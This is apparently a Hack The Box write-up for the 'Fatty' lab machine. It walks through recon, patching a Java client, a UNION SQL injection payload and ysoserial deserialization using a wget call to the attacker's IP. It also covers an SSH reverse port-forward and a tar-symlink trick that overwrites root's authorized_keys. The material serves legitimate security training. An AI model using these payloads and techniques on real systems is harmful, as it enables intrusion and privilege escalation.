


Fatty

OS:  Linux

Difficulty:  **Insane**

Points: **50**

Release: 08 Feb 2020

IP: 10.10.10.174





Summary

This writeup presents the way to root on the box **Fatty**. The box was rated as insane and required us to grab a client and information from an anonymous FTP server, modify the Java client to exploit lacking server side validation, exploit Java deserialization, and exploit a careless administrator who periodically pulls log archives from within docker containers and extracts them. All in all this box was quite entertaining but not necessarily insane. Rather it mostly was just time-consuming.

Contents

| | |
|--|-----------|
| 1 Recon | 1 |
| 1.1 Port 21 | 2 |
| 2 Gaining Foothold | 4 |
| 2.1 Modifying JARs | 5 |
| 2.2 Modifying the Client | 6 |
| 2.2.1 Circumventing Client-Side Controls | 6 |
| 2.2.2 Exploring the Filesystem | 7 |
| 2.3 Analyzing the Server | 8 |
| 2.4 Getting a Shell | 11 |
| 3 Privilege Escalation | 12 |
| 3.1 Exploiting an SCP Download | 12 |
| List of Figures | 13 |
| List of Listings | 14 |
| A Appendix | 15 |
| A.1 Full results of the nmap scan | 15 |

1 Recon

As always we begin with an Nmap scan of the box. In Listing 1 we can see the results of said scan. It shows us a total of five ports, 21, 22, 1337, 1338, and 1339. As usual some information from the scan has been removed such that it fits on the page. The full scan results can be seen in Appendix A.1.

```
1 # Nmap 7.80 scan initiated Wed Jul  8 13:11:05 2020 as: nmap -A -p0- -oA
   ↪ nmap/tcp_full -v fatty.htb
2 Nmap scan report for fatty.htb (10.10.10.174)
3 PORT      STATE SERVICE      VERSION
4 21/tcp    open  ftp          vsftpd 2.0.8 or later
5 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
6 | -rw-r--r--  1 ftp      ftp          15426727 Oct 30  2019 fatty-client.jar
7 | -rw-r--r--  1 ftp      ftp           526 Oct 30  2019 note.txt
8 | -rw-r--r--  1 ftp      ftp           426 Oct 30  2019 note2.txt
9 | -rw-r--r--  1 ftp      ftp           194 Oct 30  2019 note3.txt
10 | ftp-syst:
11 |   STAT:
12 | FTP server status:
13 |   Connected to 10.10.14.9
14 |   Logged in as ftp
15 |   vsFTPD 3.0.3 - secure, fast, stable
16 |_End of status
17 22/tcp    open  ssh          OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
18 | ssh-hostkey:
19 |   2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
20 |_  256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
21 1337/tcp  open  ssl/waste?
22 |_ssl-date: 2020-07-08T11:15:59+00:00; +3m37s from scanner time.
23 1338/tcp  open  ssl/wmc-log-svc?
24 |_ssl-date: 2020-07-08T11:15:59+00:00; +3m37s from scanner time.
25 1339/tcp  open  ssl/kjtsiteserver?
26 |_ssl-date: 2020-07-08T11:15:59+00:00; +3m37s from scanner time.
```

Listing 1: Results of the Nmap scan.

1.1 Port 21

Nmap already told us, port 21 FTP is open and anonymous login works. It even kindly listed the four files we have access to. We start by connecting to the FTP service and logging in anonymously. The respective command is shown in Listing 2.

```
1 ftp fatty.htb
```

Listing 2: Simple command to connect to an FTP server.

We proceed to download the four files available and inspect them. `fatty-client.jar` is indeed a JAR file which we will look at later. First, let's read the three notes (Listings 3- 5).

```
1 Dear members,
2
3 because of some security issues we moved the port of our fatty java server from
4 ↪ 8000 to the hidden and undocumented port 1337.
5 Furthermore, we created two new instances of the server on port 1338 and 1339.
6 ↪ They offer exactly the same server and it would be nice
7 if you use different servers from day to day to balance the server load.
8
9 We were too lazy to fix the default port in the '.jar' file, but since you are
10 ↪ all senior java developers you should be capable of
11 doing it yourself ;)
12
13 Best regards,
14 qtc
```

Listing 3: Contents of note.txt.

The notes kindly enough tell us what to expect behind the ports 1337 to 1339. Additionally, it tells us that the `fatty-client.jar` we obtained can likely be used to communicate with those ports and that the application (client and server) has security issues. Furthermore, they tell us what Java version to use and give us a set of credentials. Note, those credentials do not work for SSH which only allows public key authentication. So instead of forcefully investigating the remaining ports we will focus on the JAR and whatever it does.

```
1 Dear members,  
2  
3 we are currently experimenting with new java layouts. The new client uses a  
4 ↪ static layout. If your  
5 are using a tiling window manager or only have a limited screen size, try to  
6 ↪ resize the client window  
7 until you see the login from.  
8  
9 Furthermore, for compatibility reasons we still rely on Java 8. Since our  
10 ↪ company workstations ship Java 11  
11 per default, you may need to install it manually.  
  
Best regards,  
qtc
```

Listing 4: Contents of note2.txt.

```
1 Dear members,  
2  
3 We had to remove all other user accounts because of some seucrity issues.  
4 Until we have fixed these issues, you can use my account:  
5  
6 User: qtc  
7 Pass: clarabibi  
8  
9 Best regards,  
10 qtc
```

Listing 5: Contents of note3.txt.

2 Gaining Foothold

This will be a long one so bear with me. First of all, thanks to `qtc` for making this it was quite fun playing around with the Java app. So, lets get started. At first we simply try to start the client and see what happens (cf. Listing 6).

```
1 java -jar fatty-client.jar
```

Listing 6: Starting the fatty-client.

Using the now visible login form, even with the valid credentials, leads to an unhandled `java.lang.NoClassDefFoundError`. The reason is quite simple, the app is writting for Java 8 not 11 which is installed in my Kali installation. So we first need to update that and ideally change the default (cf. Listing 7).

```
1 sudo apt install openjdk-8-jdk
2 sudo update-alternatives --list java
3 sudo update-alternatives --set /usr/lib/jvm/java-8-openjdk-adm64/jre/bin/java
4 sudo update-alternatives --list javac
5 sudo update-alternatives --set /usr/lib/jvm/java-8-openjdk-amd64/bin/javac
```

Listing 7: Installing Java 8 and making it the default.

If we start the client again and try to authenticate we are now presented with an error message stating “Connection Error!”. Looks like we indeed need to modify something in the JAR to connect to one of the three service ports. So a good start would be to decompile the JAR to view the source code. A quick google search leads to JD-Gui¹. After downloading it we start it and use to open dialog to load the `fatty-client.jar`. To start it we use the command displayed in Listing 8 automatically sending it into the background and detaching it from the current terminal (which we close afterwards).

We end up seeing a neat overview on the contents of the JAR displaying the rather interesting package `htb.fatty`. Note that packages in Java are roughly equivalent

¹<http://java-decompiler.github.io/>

```
1 (java -jar tools/jd-gui-1.6.6.jar &)
```

Listing 8: Starting JD-Gui in the background and already detached from the current shell.

to namespaces in other languages. Disclaimer: I'm no Java developer. Looking a bit through the source code we figure out that the client uses SSL to communicate with the server and messages are secured using an HMAC, although with a static key. But we fail to find the port number in the source code. Looking a bit further we find the port number in `beans.xml` which is used in line 245 of the decompiled `Connection.class`. So we need to change that file in the JAR, repack it, and hopefully can connect to the server.

2.1 Modifying JARs

There are a ton of ways to modify JAR archives, from modifying the Java byte-code to loading the decompiled source code into an IDE and recompiling it. An important fact to note is that a JAR is just a ZIP archive meaning we can simply unzip it. The magic happens based on the files inside the archive. So let's start by unzipping the JAR into the folder `fatty` (cf. Listing 9).

```
1 unzip ../ftp/fatty-client.jar -d fatty
```

Listing 9: Extracting the JAR archive.

Now we can simply change the port in `beans.xml` and repack the archive with the command in Listing 10.

```
1 zip -r ../fatty.jar .
```

Listing 10: Repacking the JAR archive.

Running the JAR and authenticating we encounter an exception which essentially says "SHA-256 digest error for beans.xml". A bit of google tells us that the JAR contains an integrity protection. One way to fix this is to update the manifest with the correct hashes. I wrote a script that does exactly that. So we update the

manifest before we repack the JAR and now obtain an error complaining about an invalid signature. It turns out the JAR is also signed but this problem is quickly solved by deleting the files `1.RSA` and `1.SF` in the `META-INF` directory in the JAR. Now we're good to go. Note that you need to delete the old JAR if you're only overwriting it with the `zip` command since otherwise the removed files will remain within the archive. As it turns out there is an even easier way. After removing the signature related files, `*.SF` and `*.RSA`, Java no longer cares about the hashes stored in `MANIFEST.MF` allowing us to freely modify the files in the archive. Next up we use JD-Gui to save the decompiled source files and copy all `.java` files within the `htb` folder into our unpacked JAR archive. This will save us a lot of copying compiled files later on.

2.2 Modifying the Client

Now we are able to connect to the server using the provided credentials. So it is time to explore the functions of the application. There are a few functions which we do not have access to but we can use the `FileBrowser`. We find a few files which tell us that the client is riddled with unfixed security vulnerabilities including "a few criticals". This at least sounds like our decision to look at the client was right. A quick check for path traversal does not result in any too promising results. Looks like we should investigate the code a bit more.

2.2.1 Circumventing Client-Side Controls

More often than not security controls are present in clients but are absent in the corresponding server implementation. This might be because developers are unaware of the ease with which client-side controls can be circumvented, they used some framework which mislead them, they never thought the user might be able to provide input in these places, or they simply forgot. Whatever the reason, we should start looking for all security controls implemented in the client and remove them. Afterwards we should check if this leads to any changed behavior. For the sake of convenience we modified the `Role` class to always return the admin role (cf. Listing 11).

Additionally, we removed the checks which only enabled certain menu items depending on the role we have in `ClientGuiTest.java` line 238 and 245. Additionally, we remove the sanitization of the filename in line 447. Afterwards, from the base directory of the JAR, we re-compile the changed classes with the commands in Listing 12.

```
1 public static Role getAdminRole() {  
2     return new Role(0, "admin", new int[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12  
3     ↪ });  
4 }  
5  
6 public static Role getUserRole() {  
7     return getAdminRole();  
8 }  
9  
10 public static Role getAnonymous() {  
11     return getAdminRole();  
12 }
```

Listing 11: Patched code in Role.java.

```
1 javac htb/fatty/client/gui/ClientGuiTest.java  
2 javac htb/fatty/shared/resources/Role.java
```

Listing 12: Recompiling the changed java files.

Now we repack the JAR and run it, testing the “newly” available functionality. Sadly the server prevents us from using the “new” functions as it still considers us a user. Even directory traversal is still prevented, although the error changed ever so slightly. So it is about time we add userInput where the developers never expected it to occur. Generally anything that grants us more information or privileges would be interesting. As we are not ready to give up on a potential directory traversal vulnerability we look at the `open` function in `Invoker.java` which is called when we try to open a file. It’s interesting to see that the function takes two parameters, the folder and the file, while we can provide only one. Hence, we patch the UI to allow us to also specify the folder and while we are at it we add a button to list the contents of an arbitrary directory by stealing and modifying the functionality of the menu items in the `FileBrowser` tab.

2.2.2 Exploring the Filesystem

Listing the contents of the directory `.` we see the folders depicted in Listing 13. Since previous error messages already displayed the path from which files are included we now may assume we are within the files directory. So there is at least no hidden fourth folder. Lets try directory traversal with our “new” folder parameter. Maybe it’s not filtered.

```
1 mail
2 notes
3 configs
```

Listing 13: Contents of the files directory.

Surprisingly, trying to access the directory `../../../../` fails. But `../` works and shows us something interesting (cf. Listing 14).

```
1 logs
2 tar
3 start.sh
4 fatty-server.jar
5 files
```

Listing 14: Contents of the fatty directory.

The most interesting thing we can see here is the `fatty-server.jar`. If we can obtain it we no longer have to blindly guess but can decompile it and check the source code. Note that I also checked the other files but they did not contain anything noteworthy. I was alone on the server so the logs were mostly empty and we already know what is within the files folder. Furthermore, `start.sh` is not really interesting either with the sole exception that it hints that we are within a docker container.

But specifying the folder `../` and the file `fatty-server.jar` results in the application freezing upon clicking `Open`. Why does it fail but worked with the the files. The reason is that the application tries to convert our data into a string while a JAR is more than just ASCII data. Some chose to dumb the data from the network but I think it is more elegant to add a button which downloads files to `/tmp`. So I clone and modify the open function in `Invoker.java` and add a button to call it with my folder and filename. Armed with this we can download the server and analyze its source code.

2.3 Analyzing the Server

Looking at the code we see that access control is enforced properly. Additionally, we see why our path traversal worked and why it only allows us to traverse a single directory. The implementation checks for `/../` before it prepends the path

/opt/fatty/files/. Hence, just inserting ../ is fine. A few more minutes into auditing the code we spot something rather interesting. Line 42 of the decompiled FattyDbSession.class features the code in Listing 15.

```
1 rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE  
↪ username='" + user.getUsername() + "'");
```

Listing 15: Vulnerable SQL statement.

So here we have an excellent example of an SQL injection. Simply by sending a particular username we can force an empty result for the first query and add our own results using UNION. Since the query also returns the role of the user we can use this vulnerability to elevate our privileges to that of an admin. But for that we should be aware of the format in which the password is transmitted over the network. Listing 16 shows the way in which the password is stored in our local user object. In the very same way, concatenated with the username, it's transmitted over the network.

```
1 public void setPassword(String password) {  
2     String hashString = this.username + password +  
↪     "clarabibimakeseverythingsecure";  
3     MessageDigest digest = null;  
4     try {  
5         digest = MessageDigest.getInstance("SHA-256");  
6     } catch (NoSuchAlgorithmException e) {  
7         e.printStackTrace();  
8     }  
9     byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));  
10    this.password = DatatypeConverter.printHexBinary(hash);  
11 }
```

Listing 16: SetPassword function in User.class.

So whenever we modify the username it results in a modification of the password hash. Hence, we need to modify this behavior of our client such that our SQL injection can return a “valid” password hash. There exist a whole lot of ways to modify the behavior but we’ll choose the lazy way out and simply remove the hashing of the password. After recompiling we can use the payload in Listing 17 to authenticate as the user `qtc` but as an admin.

```
1 ' and 1=0 union select 1,'qtc','immo@birdsarentrealctf.dev','clarabibi','admin
```

Listing 17: SQL injection payload to elevate the privileges to admin.

If we run the `whois` command now we will see that we are an admin now. So what now; we are an admin but that's it. Maybe we should look at the source code again. Let's first check the juicy stuff we did not have access to while we still were a poor user. We can see that there is no way we can exploit the `netstat`, `ipconfig`, `uname` or `users` command, at least not remotely. But there is one method left, `changePW`. Looking closely - yes you could've seen this already when you analyzed the client - we see that it uses a serialized user object. So deserialization of user controlled data it is. The tool of choice for Java deserialization vulnerabilities is `ysoserial`².

`Ysoserial` ships with a whole lot of exploits. Cross referencing with the classes included in the JAR both the Spring based and Commons Collections based exploits look promising. I initially rejected the idea of simply trying each and spent quite a few hours trying to figure out the specific versions of the libraries bundled in the JAR but in the end this effort remained fruitless. ~~If you happen to know please tell me.~~ Anyway, since we do not know the versions we have to try the exploits until one works. Since the app is likely running inside a docker container we better use a command which we can expect to work. But before that we gotta fix the problem of delivering the payload to the target server. For that we once again modify our client, this time to provide a neat input field which allows us to submit a base64 encoded "user" to the target. Well, at least my initial solution consisted of just that. The solution I developed while creating this writeup fully integrates `ysoserial` and presents a drop down of available exploits combined with a text field for a user specified payload (cf. Figure 2.1).


The image shows a graphical user interface for a client application. At the top, there is a dropdown menu currently showing 'CommonsCollections7'. To its right is a text input field containing the command 'wget http://10.10.14.17:9090/'. Further right is a button labeled 'Exploit'. Below these elements, there is a row of five buttons: 'List', 'Open', 'Download', and 'Clear'. The 'List' button is positioned to the right of an empty text input field. The entire interface is enclosed in a light gray border.

Figure 2.1: Layout of the modified client with integrated payload selection and generation.

²<https://github.com/frohoff/ysoserial>

2.4 Getting a Shell

Now that we are equipped with a completely over-engineered tool for code execution we can proceed to get a shell on the system. While doing so we will quickly realize that payloads that use pipes or any other form of redirection do not work. A bit of research later we will realize that the reason for this is that `ysoserial` uses a string for the argument of the `exec` function. The code based solution to this problem would be to use a string array. But since we have been coding enough for now we will use a different approach. While we cannot use any form of output or input redirection we very much can use existing parameters for existing programs to create output files.

Essentially we will split the execution of our payload into two steps. First, we will download a bash script from our box to the server. In the second step we will execute this script which will perform all the commands we want without any limitations on input or output redirection. Since the system has an SSH service running we can try to **append** our key to the `authorized_keys` file.

But that still leaves the problem that we can only connect to the SSH service of the host but not to the one in the docker container we got code execution in. But this can be circumvented as well. While the SSH config forbids local port forwarding we can still use remote forwarding. For this we only need to place a private key to connect to our box. To obtain a bit of opsec we use a dedicated low-privilege user on our box, configure the SSH service to only allow port forwarding for this user, and set its shell to `/bin/false`. Once we accomplished all that we can run the command shown in Listing 18 to forward any traffic to port 1337 on our local machine to port 22 inside the docker container.

```
1 ssh -i /tmp/key -oStrictHostKeyChecking=no -N -R 1337:localhost:22  
↪ portfwd@10.10.14.13
```

Listing 18: Forwarding our remote port to the docker's port 22.

Obviously at some point we still need to place a private key on the system. We technically can go even further and add the respective key to the SSH agent via a pipe, forward the port, and remove the key again such that we never place the file. But while I was bored enough to do this while preparing the writeup I'm no longer while actually writing it.

Anyway, after forwarding the port we can simply SSH into the docker. Chmodding the `user.txt` we get the user flag.

3 Privilege Escalation

So we got a shell but we are not `root` yet. We are already aware that we ended up inside a docker container. So we now have two directions in which we can go, first we try to root the docker, second we try to escape from the docker. Rough enumeration in regards to the first does not turn up any useful avenues. But a docker escape does not look to promising either. Well maybe we should just shut up and listen, you know “the quieter you are the more you are able to hear”. So we start up `pspy` and listen. We will rather quickly see that someone is connecting, in regular intervals, via SCP and downloads `/opt/fatty/tar/logs.tar`. This is a file our user, `qtc`, owns.

3.1 Exploiting an SCP Download

The somebody is downloading a TAR archive. So maybe the archive is also extracted. Some might think “zipslip”. If you do not know what this is look it up. You will not waste your time. But no, it is not zipslip. But we can so some other fancy stuff with this. First, we control the file. So we are not forced to deliver a TAR archive. Furthermore, we can do something funny with ZIP/TAR archives. We can store symlinks within them. So if we were to store a symlink to `/root/.ssh/authorized_keys` in the archive and the symlink is named `logs.tar` SCP might just follow the symlink the next time it downloads the `logs.tar` file. With this we would be able to write arbitrary files as `root` - assuming `root` is executing the SCP command. And indeed, after waiting for the second download we can ssh into the host as `root`. A quick `cat root.txt` and we are done.

List of Figures

2.1 Layout of the modified client with integrated payload selection and generation. 10



List of Listings

| | | |
|----|---|----|
| 1 | Results of the Nmap scan. | 1 |
| 2 | Simple command to connect to an FTP server. | 2 |
| 3 | Contents of note.txt. | 2 |
| 4 | Contents of note2.txt. | 3 |
| 5 | Contents of note3.txt. | 3 |
| 6 | Starting the fatty-client. | 4 |
| 7 | Installing Java 8 and making it the default. | 4 |
| 8 | Starting JD-Gui in the background and already detached from the current shell. | 5 |
| 9 | Extracting the JAR archive. | 5 |
| 10 | Repacking the JAR archive. | 5 |
| 11 | Patched code in Role.java. | 7 |
| 12 | Recompiling the changed java files. | 7 |
| 13 | Contents of the files directory. | 8 |
| 14 | Contents of the fatty directory. | 8 |
| 15 | Vulnerable SQL statement. | 9 |
| 16 | SetPassword function in User.class. | 9 |
| 17 | SQL injection payload to elevate the privileges to admin. | 10 |
| 18 | Forwarding our remote port to the docker's port 22. | 11 |

A Appendix

A.1 Full results of the nmap scan

```
1 # Nmap 7.80 scan initiated Wed Jul 8 13:11:05 2020 as: nmap -A -p0- -oA
  ↳ nmap/tcp_full -v fatty.htb
2 Nmap scan report for fatty.htb (10.10.10.174)
3 Host is up (0.039s latency).
4 Not shown: 65531 closed ports
5 PORT      STATE SERVICE      VERSION
6 21/tcp    open  ftp          vsftpd 2.0.8 or later
7 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
8 | -rw-r--r--  1 ftp      ftp          15426727 Oct 30  2019 fatty-client.jar
9 | -rw-r--r--  1 ftp      ftp           526 Oct 30  2019 note.txt
10 | -rw-r--r--  1 ftp      ftp           426 Oct 30  2019 note2.txt
11 | -rw-r--r--  1 ftp      ftp           194 Oct 30  2019 note3.txt
12 | ftp-syst:
13 |   STAT:
14 | FTP server status:
15 |   Connected to 10.10.14.9
16 |   Logged in as ftp
17 |   TYPE: ASCII
18 |   No session bandwidth limit
19 |   Session timeout in seconds is 300
20 |   Control connection is plain text
21 |   Data connections will be plain text
22 |   At session startup, client count was 1
23 |   vsFTPD 3.0.3 - secure, fast, stable
24 |_End of status
25 22/tcp    open  ssh          OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
26 | ssh-hostkey:
27 |   2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
28 |_  256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
29 1337/tcp  open  ssl/waste?
30 |_ssl-date: 2020-07-08T11:15:59+00:00; +3m37s from scanner time.
31 1338/tcp  open  ssl/wmc-log-svc?
32 |_ssl-date: 2020-07-08T11:15:59+00:00; +3m37s from scanner time.
33 1339/tcp  open  ssl/kjtsiteserver?
34 |_ssl-date: 2020-07-08T11:15:59+00:00; +3m37s from scanner time.
35 No exact OS matches for host (If you know what OS is running on it, see
  ↳ https://nmap.org/submit/ ).
36 TCP/IP fingerprint:
```

```
37 OS:SCAN(V=7.80%E=4%D=7/8%OT=21%CT=1%CU=40871%PV=Y%DS=2%DC=T%G=Y%TM=5F05AACA
38 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%TS=6)SEQ(SP=10
39 OS:2%GCD=2%ISR=108%TI=Z%CI=Z%II=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
40 OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
41 OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
42 OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
43 OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
44 OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
45 OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
46 OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
47
48 Uptime guess: 0.009 days (since Wed Jul  8 13:02:45 2020)
49 Network Distance: 2 hops
50 TCP Sequence Prediction: Difficulty=260 (Good luck!)
51 IP ID Sequence Generation: All zeros
52 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
53
54 Host script results:
55 |_clock-skew: mean: 3m36s, deviation: 0s, median: 3m36s
56
57 TRACEROUTE (using port 80/tcp)
58 HOP RTT      ADDRESS
59 1  49.95 ms  10.10.14.1
60 2  50.20 ms  fatty.htb (10.10.10.174)
61
62 Read data files from: /usr/bin/../share/nmap
63 OS and Service detection performed. Please report any incorrect results at
64 ↪ https://nmap.org/submit/ .
# Nmap done at Wed Jul  8 13:15:22 2020 -- 1 IP address (1 host up) scanned in
↪ 256.98 seconds
```